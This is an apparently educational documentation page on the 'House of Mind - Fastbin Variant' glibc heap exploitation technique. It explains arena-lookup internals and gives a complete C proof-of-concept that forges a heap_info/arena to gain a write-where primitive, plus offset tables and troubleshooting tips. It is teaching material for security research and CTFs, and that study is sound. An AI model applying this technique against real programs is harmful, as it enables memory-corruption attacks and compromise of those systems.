Skip to main content

Overview

The House of Mind - Fastbin Variant is a powerful heap exploitation technique that creates a fake non-main arena to achieve a write-where primitive through fastbin manipulation. By controlling arena handling and exploiting how glibc locates arena structures, attackers can write heap pointers to arbitrary locations. This is a modern variant of the classic House of Mind attack, adapted for fastbin exploitation.

Glibc Version Compatibility

Compatible with: All glibc versions including latestWorks on: glibc 2.23 through 2.41+
This technique remains viable across all glibc versions because it exploits fundamental arena handling logic that hasn’t changed.

Requirements

  • Heap Leak: Need to know heap address for fake arena location
  • Unlimited Allocations: Ability to allocate many chunks to reach target heap offset
  • Single Byte Overflow: Ability to overwrite chunk size to set non-main arena bit
  • Proper Sizing: Target location must have valid size value for validation
  • Next Chunk Valid: The next chunk must have valid size between 0x20 and system_mem

What It Achieves

The House of Mind - Fastbin Variant enables:
  1. Write-Where Primitive: Write heap pointers to arbitrary addresses
  2. Repeatable: Can be done multiple times with different fastbin sizes
  3. Non-Destructive: Doesn’t brick malloc like unsorted bin attack
  4. Arena Control: Manipulate arena handling for advanced attacks

Technical Details

Arena Resolution Process

Glibc uses arena metadata to manage multiple heaps efficiently. The key macros are:
#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
  
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)->ar_ptr : &main_arena)
When a chunk has the non-main arena bit set, glibc:
  1. Rounds the chunk address down to HEAP_MAX_SIZE boundary (0x4000000)
  2. Treats this location as a heap_info structure
  3. Reads the first field (ar_ptr) as the arena pointer
  4. Uses this arena for all operations

Attack Flow

1

Locate Fake Arena Offset

Calculate where to place the fake arena based on HEAP_MAX_SIZE (0x4000000) alignment:
fake_arena_offset = (chunk_addr + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1)
This will be the address where we need to place our fake heap_info structure.
2

Prepare Fake Arena

Allocate a chunk that will serve as the fake arena and set:
  • system_mem at offset 0x888 to a large value (to pass size checks)
  • Any other arena fields needed for the attack
3

Allocate to Target Offset

Allocate chunks repeatedly until reaching the calculated fake arena offset. Place the fake heap_info structure with ar_ptr pointing to your fake arena.
4

Fill Tcache

For glibc 2.26+, fill the tcache for the target fastbin size to ensure the chunk uses fastbin instead of tcache.
5

Trigger Arena Lookup

Set the non-main arena bit on a fastbin chunk’s size field:
chunk->size = original_size | 0x4
When this chunk is freed, glibc will use arena_for_chunk() which will find your fake arena.
6

Write to Target

Free the chunk. The fastbin code will write the chunk address to:
fake_arena->fastbinsY[index] = chunk_address
By controlling the fake arena location, you control where this write occurs.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

int main(){
    printf("House of Mind - Fastbin Variant\n");
    puts("==================================");
    printf("The goal is to create a fake arena at HEAP_MAX_SIZE offset\n");
    printf("Then write to fastbins when the chunk is freed\n");
    
    // Constants
    int HEAP_MAX_SIZE = 0x4000000;
    int MAX_SIZE = (128*1024) - 0x100; // Below mmap threshold

    printf("Find initial location of the heap\n");
    // Target location and fake arena
    uint8_t* fake_arena = malloc(0x1000);
    uint8_t* target_loc = fake_arena + 0x30;
    uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

    // Set system_mem for fake arena
    printf("Set 'system_mem' (offset 0x888) for fake arena\n");
    fake_arena[0x888] = 0xFF;
    fake_arena[0x889] = 0xFF;
    fake_arena[0x88a] = 0xFF;

    printf("Target Memory Address for overwrite: %p\n", target_loc);
    printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);

    // Calculate fake arena location
    uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
    uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

    printf("Fake Heap Info struct location: %p\n", fake_heap_info);
    printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");

    // Allocate chunks until reaching the target offset
    uint64_t* user_mem = malloc(MAX_SIZE);
    while((long long)user_mem < new_arena_value){
        user_mem = malloc(MAX_SIZE);
    }

    // Create victim fastbin chunk
    printf("Create fastbin sized chunk to be victim of attack\n");
    uint64_t* fastbin_chunk = malloc(0x50); // Size 0x60
    uint64_t* chunk_ptr = fastbin_chunk - 2;
    printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);

    printf("Fill up the TCache so that the fastbin will be used\n");
    // Fill tcache
    uint64_t* tcache_chunks[7];
    for(int i = 0; i < 7; i++){
        tcache_chunks[i] = malloc(0x50);
    }
    for(int i = 0; i < 7; i++){
        free(tcache_chunks[i]);
    }

    // Set ar_ptr to point to our fake arena
    printf("Setting 'ar_ptr' in heap_info struct to %p\n", fake_arena);
    fake_heap_info[0] = (uint64_t) fake_arena;
    printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));

    // Set non-main arena bit
    printf("Set non-main arena bit on the fastbin chunk\n");
    puts("NOTE: This keeps next chunk size valid\n");
    
    /* VULNERABILITY */
    chunk_ptr[1] = 0x60 | 0x4; // Set non-main arena bit
    /* VULNERABILITY */

    printf("When we free the fastbin chunk with the non-main arena bit\n");
    printf("set, it will cause our fake 'heap_info' struct to be used.\n");
    printf("This will dereference our fake arena location and write\n");
    printf("the address of the heap to an offset of the arena pointer.\n");

    printf("Trigger the magic by freeing the chunk!\n");
    free(fastbin_chunk);

    // Verify the write
    printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
    assert(*((unsigned long *) (target_loc)) != 0);
    
    printf("\nSuccess! Wrote heap pointer to target location.\n");
}

Walkthrough

The heap_info structure is crucial to this attack:
struct _heap_info {
  mstate ar_ptr;           // Arena pointer (offset 0x0) ← We control this!
  struct _heap_info *prev; // Previous heap
  size_t size;            // Current size in bytes
  size_t mprotect_size;   // Size that has been mprotected
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
};
By placing our controlled data at a HEAP_MAX_SIZE-aligned address, we can make glibc interpret it as a heap_info structure and read our fake ar_ptr value.
When a fastbin chunk is freed, glibc writes to:
arena->fastbinsY[fastbin_index] = chunk
The offset from arena base to the write location is:
  • Base offset to fastbinsY: 0x10 (in glibc 2.31+)
  • Index offset: size/16 * 8 bytes
For a 0x60 chunk:
  • Index: 4 (0x60 / 16 = 6, fastbin_index = (6-2) = 4)
  • Offset: 0x10 + (4 * 8) = 0x30
By setting ar_ptr to target - 0x30, the write occurs at exactly target.
Unlike the unsorted bin attack which corrupts bin structures, this technique:
  • Only writes to a single fastbin entry
  • Doesn’t corrupt critical malloc metadata
  • Can be repeated with different fastbin sizes
  • Leaves malloc in a working state
This makes it much more versatile for multi-stage exploits.
For glibc 2.26+, chunks first go to tcache, not fastbin. You must:
  1. Fill the tcache for the target size (7 chunks)
  2. Then the 8th freed chunk goes to fastbin
Alternatively:
  • Use sizes > 0x410 (above tcache range)
  • Exploit before tcache is initialized
  • Corrupt tcache metadata first

Visual Representation

Heap Layout:
┌──────────────┐ 0x00000000
│ fake_arena   │ ← system_mem at +0x888 set to 0xFFFFFF
│  +0x30:      │ ← target_loc (will receive write)
├──────────────┤
│   ...        │
├──────────────┤ 0x04000000 (HEAP_MAX_SIZE aligned)
│ heap_info:   │
│  ar_ptr      │ → points to fake_arena
│  prev        │
│  size        │
├──────────────┤
│   ...        │
├──────────────┤
│fastbin_chunk │ ← size has bit 0x4 set (non-main arena)
└──────────────┘

When freed:
1. glibc sees non-main arena bit
2. Rounds address to 0x04000000
3. Reads ar_ptr from fake heap_info
4. Uses fake_arena for fastbin operations
5. Writes chunk address to fake_arena->fastbinsY[4]
6. Due to offset calculation, writes to target_loc

Common Pitfalls

Issue: Segmentation fault during freeCauses:
  • system_mem not set high enough (must be > chunk size)
  • Next chunk doesn’t have valid size
  • ar_ptr points to invalid memory
Solution: Ensure fake arena is properly initialized with valid system_mem value.
Issue: Write goes to wrong locationThe write offset depends on:
  • Fastbin index (determined by chunk size)
  • Glibc version (fastbinsY offset may vary)
  • Arena structure layout
Verify the offset in your target glibc version.

CTF Challenges

No specific challenges listed, but applicable to:
  • Challenges with heap leaks and overflow primitives
  • Multi-stage exploits requiring multiple writes
  • Scenarios where unsorted bin attack would break malloc

References

  • House of Gods - Arena hijacking technique
  • [Unsorted Bin Attack/techniques/bins/unsorted-bin-attack) - Simpler write-where primitive
  • House of Orange - Another arena manipulation technique

Author

Written by Maxwell Dulin (Strikeout)

Build docs developers (and LLMs) love